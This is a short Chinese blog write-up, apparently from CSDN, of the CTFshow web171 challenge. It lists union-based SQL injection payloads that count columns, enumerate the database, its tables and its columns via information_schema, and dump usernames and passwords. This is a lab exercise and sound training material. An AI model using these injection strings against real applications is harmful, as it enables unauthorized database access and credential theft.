CTFSHOW web入门——web171

该文演示了SQL查询技术,用于检查数据库结构和获取特定数据。首先,它查询列的数量,然后确定数据库名。接着,列举了ctfshow_web库中的表和ctfshow_user表的列。最后,通过SQL联合查询找到了用户名为flag的相关信息,揭示了可能的数据泄露过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先查询有多少列,1' order by 3--+

 然后查询库名 1' union select 1,2,database() --+

 查看ctfshow_web库的表

1' union select 1,2, table_name from information_schema.tables where table_schema ='ctfshow_web' --+

 获取表名

1' union select 1,2, table_name from information_schema.tables where table_schema =database() --+

获取列名

1' union select 1,2, column_name from information_schema.columns where table_schema =database() and table_name='ctfshow_user' --+

 查询用户名为flag的信息 1' union select id,username,password from ctfshow_user where username='flag' --+

获得flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值